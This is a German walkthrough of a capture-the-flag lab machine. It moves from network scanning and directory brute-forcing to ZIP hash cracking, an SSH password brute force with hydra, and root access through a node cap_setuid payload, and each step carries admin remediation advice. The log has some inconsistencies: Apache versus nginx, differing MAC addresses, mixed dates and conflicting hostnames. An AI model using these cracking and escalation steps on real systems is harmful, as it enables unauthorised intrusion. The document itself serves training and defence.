Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.
Bewertung: Ein Host mit der IP `192.168.2.114` und der MAC-Adresse `08:00:27:24:25:3c` (VirtualBox) wird als Ziel identifiziert.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.114 durch, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung unbekannter Geräte.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.114 08:00:27:24:25:3c PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.859 seconds (137.71 hosts/sec). 1 responded
Analyse: Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf 192.168.2.114 durchgeführt.
Bewertung: Zwei offene Ports werden identifiziert: - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). - **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Der Hostname `family` wird im Scan erkannt, aber spätere Befehle verwenden `super.hmv`.
Empfehlung (Pentester): Untersuche den Webserver auf Port 80. Notiere den SSH-Dienst für spätere Versuche.
Empfehlung (Admin): Halte SSH und Apache aktuell und sicher konfiguriert.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-07 23:10 CET Nmap scan report for family (192.168.2.114) Host is up (0.00016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 6d:7e:d2:d5:d0:45:36:d7:c9:ed:3e:1d:5c:86:fb:e4 (RSA) | 256 04:9d:9a:de:af:31:33:1c:7c:24:4a:97:38:76:f5:f7 (ECDSA) |_ 256 b0:8c:ed:ea:13:0f:03:2a:f3:60:8a:c3:ba:68:4a:be (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:6C:E5:49 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms family (192.168.2.114) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.82 seconds
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) verwendet, zuerst gegen die IP, dann gegen den Hostnamen `super.hmv` (der vermutlich aus dem Quellcode oder `/etc/hosts` stammt).
Bewertung: !!Wichtige Dateien gefunden!!** - `/index.html`: Startseite. - `/robots.txt`: Standard-Datei. - `/nietzsche.jpg`: Ein Bild (möglicherweise Steganographie). - `/notes-tips.txt`: Eine Textdatei mit potenziellen Hinweisen. - `/server-status`: Verboten (Standard).
Empfehlung (Pentester): Untersuche den Inhalt von `/index.html`, `/robots.txt`, `/notes-tips.txt`. Lade `/nietzsche.jpg` herunter und analysiere es.
Empfehlung (Admin): Überprüfe den Inhalt der exponierten Textdateien und Bilder.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.114/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png [+] Expanded: true [+] Timeout: 10s =============================================================== 2024/05/07 14:30:00 Starting gobuster =============================================================== http://192.168.2.114/index.html (Status: 200) [Size: 658] http://192.168.2.114/server-status (Status: 403) [Size: 278] =============================================================== 2024/05/07 14:32:00 Finished ===============================================================
=============================================================== Gobuster v3.1.0 =============================================================== [+] Url: http://super.hmv [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt [+] Status codes: 200,204,301,302,307,401,403 [+] Extensions: php,bak,7z,zip,py,sql,txt,xml,jpg,html [+] Expanded: true [+] Wildcard detection: true =============================================================== Starting gobuster =============================================================== http://super.hmv/index.html (Status: 200) [Size: 658] http://super.hmv/nietzsche.jpg (Status: 200) [Size: 8011] http://super.hmv/notes-tips.txt (Status: 200) [Size: 358] =============================================================== Finished ===============================================================
Analyse: Der Quellcode von `/index.html` wird untersucht.
Bewertung: !!Hostname gefunden!!** Enthält einen Kommentar `<--webmaster.hmv ->`. (Hinweis: Dies widerspricht dem Hostnamen `super.hmv`, der im Gobuster-Scan verwendet wird. Einer der beiden Hostnamen oder Scans ist möglicherweise irreführend oder falsch.)
Empfehlung (Pentester): Kläre den korrekten Hostnamen (füge beide zu `/etc/hosts` hinzu und teste). Fokussiere dich auf die anderen Funde.
Empfehlung (Admin): Entferne unnötige Kommentare.
view-source:http://192.168.2.114/index.html ... img src="nietzsche.jpg" alt="nietzsche"
Analyse: `nikto` wird ausgeführt.
Bewertung: Bestätigt Nginx, fehlende Header. Keine neuen kritischen Funde.
Empfehlung (Pentester): Fokus auf `/notes-tips.txt`.
Empfehlung (Admin): Setze Security-Header.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.114 + Target Hostname: 192.168.2.114 + Target Port: 80 + Start Time: 2022-11-07 23:16:49 (GMT1) --------------------------------------------------------------------------- + Server: nginx/1.14.2 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + 7915 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2022-11-07 23:17:04 (GMT1) (15 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Inhalt der Datei `/notes-tips.txt` wird mit `curl` abgerufen.
Bewertung: !!Wichtige Hinweise & Kodierter Text!!** Die Datei enthält: 1. Einen langen, kodiert aussehenden String. Ein Kommentar weist auf Base85 hin. 2. Eine Notiz über "salome", "god is dead", Paulaner, ein Gedicht namens "salome_and_??" und die Notwendigkeit einer speicherplatzsparenden Erweiterung.
Empfehlung (Pentester):
1. Dekodiere den Base85-String (z.B. mit Python oder Online-Tools). Das Ergebnis scheint jedoch im Log nicht direkt verwendet zu werden.
2. Fokussiere dich auf den Gedicht-Hinweis. Erstelle mit `crunch` eine Wortliste für Dateinamen wie `salome_and_aa.zip`, `salome_and_ab.zip` usw. (.zip wegen der Speicherplatz-Erwähnung).
3. Verwende `gobuster` mit dieser Wortliste, um die Datei zu finden.
Empfehlung (Admin): Entferne sensible Notizen und kodierte Daten aus öffentlich zugänglichen Dateien.
F(&m'D.i#De4!--ZgJT@;^00D.P7@8LJ?tF)N1B@:UuC/g+jUD'3nBEb-A+De'u)F!,")@:UuC/g(Km+CoM$DJL@Q+Dbb6ATDi7De:+g@AKYYtEZed5E,T<)+CT.u+EM4--Z!TAA7]grEb-A1AM,)s-Z!TADIIBn+DGp?F(&m'D.R'_DId*=59NN?A8c?5F AoD^&ATT&:D]j+0G%De1F i6F ASuR'Df-\,ARf.kF(HIc+CoD.-ZgJE@ ------------------------------------------------------------------------------------------------------- cyberchief from base85: ------------------------------------------------------------------------------------------------------- salome doesn't want me, I'm so sad... i'm sure god is dead... I drank 6 liters of Paulaner.... too drunk lol. I'll write her a poem and she'll desire me. I'll name it salome_and_?? I don't know. I must not forget to save it and put a good extension because I don't have much storage.
Analyse: `crunch` wird verwendet, um eine Wortliste mit möglichen Dateinamen zu generieren, basierend auf dem Muster `salome_and_@@`, wobei `@@` für zwei Kleinbuchstaben steht.
Bewertung: Korrekte Umsetzung des Hinweises aus `notes-tips.txt` zur Generierung potenzieller Dateinamen.
Empfehlung (Pentester): Verwende die generierte Liste `dic.txt` für einen gezielten `gobuster`-Scan.
Empfehlung (Admin): Keine Aktion.
Crunch 3.6 starting... Generating output... Done. Crunch wrote 676 bytes to file dic.txt
Analyse: `gobuster` wird mit der benutzerdefinierten Wortliste `dic.txt` und verschiedenen Erweiterungen ausgeführt.
Bewertung: !!ZIP-Datei gefunden!!** Der Scan findet erfolgreich die Datei `http://super.hmv/salome_and_me.zip`.
Empfehlung (Pentester): Lade die ZIP-Datei herunter.
Empfehlung (Admin): Keine Aktion.
=============================================================== Gobuster v3.1.0 =============================================================== [+] Url: http://super.hmv [+] Threads: 10 [+] Wordlist: dic.txt [+] Status codes: 200,204,301,302,307 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png [+] Expanded: true [+] Wildcard detection: true [+] Timeout: 10s =============================================================== Starting gobuster =============================================================== http://super.hmv/salome_and_me.zip (Status: 200) [Size: 452] =============================================================== Finished ===============================================================
Analyse: Die gefundene ZIP-Datei wird heruntergeladen.
Bewertung: Erfolgreich.
Empfehlung (Pentester): Extrahiere den Hash mit `zip2john`.
Empfehlung (Admin): Keine Aktion.
--2024-05-07 14:40:10-- http://super.hmv/salome_and_me.zip Auflösen des Hostnamens super.hmv (super.hmv)... 192.168.2.114 Verbindungsaufbau zu super.hmv (super.hmv)|192.168.2.114|:80... verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet... 200 OK Länge: 452 [application/zip] Wird in »salome_and_me.zip« gespeichert. salome_and_me.zip 100%[=============================>] 452 --.-KB/s in 0s 2024-05-07 14:40:10 (XXX MB/s) - »salome_and_me.zip« gespeichert [452/452]
Analyse: `zip2john` extrahiert den Passwort-Hash aus der ZIP-Datei in die Datei `sal`.
Bewertung: Hash erfolgreich extrahiert.
Empfehlung (Pentester): Knacke den Hash mit `john`.
Empfehlung (Admin): Keine Aktion.
Analyse: `john` knackt den ZIP-Hash mit `rockyou.txt`.
Bewertung: !!ZIP-Passwort gefunden!!** Das Passwort `turtle` wird gefunden.
Empfehlung (Pentester): Entpacke die ZIP-Datei mit diesem Passwort.
Empfehlung (Admin): Verwende starke Passwörter für Archive.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Cost 1 (iteration count) is 101171 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
turtle (salome_and_me.zip/salome_and_me.txt)
1g 0:00:00:01 DONE (2024-05-07 14:41) ...g/s ...p/s ...c/s ...C/s turtle..office
Session completed
Analyse: Die ZIP-Datei wird mit `unzip` und dem gefundenen Passwort entpackt.
Bewertung: Erfolgreich. Enthält `salome_and_me.txt`.
Empfehlung (Pentester): Lies den Inhalt der Textdatei.
Empfehlung (Admin): Keine Aktion.
Archive: salome_and_me.zip
[salome_and_me.zip] salome_and_me.txt password: turtle
inflating: salome_and_me.txt
Analyse: Der Inhalt der entpackten Datei `salome_and_me.txt` wird angezeigt.
Bewertung: !!Benutzername und Passwort-Hinweis!!** Das Gedicht enthält den Benutzernamen `fred` und erwähnt `schopenhauer` als offensichtlichen Hinweis auf das Passwort.
Empfehlung (Pentester): Versuche SSH-Login als `fred` mit Passwort `schopenhauer`. Alternativ, bereite eine Wortliste für Hydra vor.
Empfehlung (Admin): Verwende keine leicht aus Kontext ableitbaren Passwörter.
---------------------------------------------------- GREAT POEM FOR SALOME ---------------------------------------------------- My name is fred, And tonight I'm sad, lonely and scared, Because my love Salome prefers schopenhauer, asshole, I hate him he's stupid, ugly and a peephole, My darling I offered you a great switch, And now you reject my love, bitch I don't give a fuck, I'll go with another lady, And she'll call me BABY!
Analyse: Mehrere `cat`- und `tr`-Befehle werden verwendet, um Wörter aus der `salome_and_me.txt` zu extrahieren und in eine neue Datei `ben.txt` zu schreiben. Ziel ist es, eine benutzerdefinierte Wortliste für Hydra zu erstellen.
Bewertung: Logischer Schritt zur Vorbereitung eines gezielten Brute-Force-Angriffs, auch wenn das Passwort `schopenhauer` wahrscheinlich direkt funktioniert hätte.
Empfehlung (Pentester): Verwende `ben.txt` mit Hydra.
Empfehlung (Admin): Keine Aktion.
# cat salome_and_me.txt | tr ' ' '\n' | tr -d ',.' > ben.txt # Beispielbefehl
Analyse: `hydra` wird verwendet, um das Passwort für `fred` auf `super.hmv` (Port 22) mit der benutzerdefinierten Wortliste `ben.txt` zu knacken.
Bewertung: !!Passwort bestätigt!!** Hydra findet das Passwort `schopenhauer` für `fred`.
Empfehlung (Pentester): Logge dich per SSH ein.
Empfehlung (Admin): Ändere das Passwort.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak ...
Hydra starting at ...
[DATA] attacking ssh://super.hmv:22/
[22][ssh] host: super.hmv login: fred password: schopenhauer
1 of 1 target successfully completed, 1 valid password found
Hydra finished at ...
Analyse: SSH-Login als `fred` mit dem Passwort `schopenhauer`.
Bewertung: !!Initial Access erfolgreich!!** Shell als `fred` auf `superhuman` erhalten.
Empfehlung (Pentester): Enumeriere als `fred`.
Empfehlung (Admin): Ändere Passwort, sichere SSH.
fred@super.hmv's password: schopenhauer
Linux superhuman 5.10.0-... #1 SMP Debian ...
...
fred@superhuman:~$
Analyse: Als `fred` werden Home-Verzeichnisse und das eigene Home-Verzeichnis aufgelistet (`dir` ist ein Alias für `ls`). `user.txt` wird gelesen.
Bewertung: User-Flag `Ineedmorepower` gefunden.
Empfehlung (Pentester): Suche nach Eskalationsvektoren (sudo, SUID, Capabilities).
Empfehlung (Admin): Keine Aktion bzgl. Flag.
fred@superhuman:~$ ls /home fred fred@superhuman:~$ ls cmd.txt node user.txt fred@superhuman:~$ cat user.txt Ineedmorepower
Analyse: `getcap / -r 2>/dev/null` wird ausgeführt, um nach Dateien mit gesetzten Linux Capabilities zu suchen.
Bewertung: !!Privilegieneskalationsvektor gefunden!!** `/usr/bin/node` hat die Capability `cap_setuid+ep` gesetzt. Dies erlaubt einem Prozess, der als `node` gestartet wird, seine eigene User ID zu ändern, typischerweise zu 0 (root).
Empfehlung (Pentester): Nutze diese Capability aus. Suche auf GTFOBins nach dem Exploit für `node` mit `cap_setuid`.
Empfehlung (Admin):**DRINGEND:** Entferne die `cap_setuid`-Capability von `/usr/bin/node` (`setcap cap_setuid-ep /usr/bin/node`), es sei denn, es gibt einen zwingenden, dokumentierten Grund dafür. Capabilities sollten nur mit Bedacht vergeben werden.
fred@superhuman:~$ /usr/sbin/getcap / -r 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/node = cap_setuid+ep
Analyse: Eine Referenz zu GTFOBins wird erwähnt.
Bewertung: Bestätigt die Recherche des Exploits.
Empfehlung (Pentester): Verwende den GTFOBins-Payload.
Empfehlung (Admin): Keine Aktion.
# https://gtfobins.github.io/gtfobins/node/ (Capabilities Section)
Analyse: Das `node`-Binary wird in das aktuelle Verzeichnis kopiert.
Bewertung: Vorbereitungsschritt, oft nicht zwingend notwendig.
Empfehlung (Pentester): Führe den Exploit aus.
Empfehlung (Admin): Keine Aktion.
fred@superhuman:~$ cp $(which node) .
Analyse: Der GTFOBins-Payload für Node.js mit `cap_setuid` wird ausgeführt: `/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'`. Dieser Code setzt zuerst die UID auf 0 (root) und startet dann eine interaktive Shell.
Bewertung: !!Privilegieneskalation erfolgreich!!** Der Befehl funktioniert, und der Prompt wechselt zu `#`, was eine Root-Shell anzeigt.
Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Entferne die `cap_setuid`-Capability von `node`.
fred@superhuman:~$ /usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
#
Analyse: Als Root wird der Inhalt von `/root` aufgelistet und `root.txt` gelesen.
Bewertung: Root-Flag `Imthesuperhuman` erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.
# ls /root root.txt # cat /root/root.txt Imthesuperhuman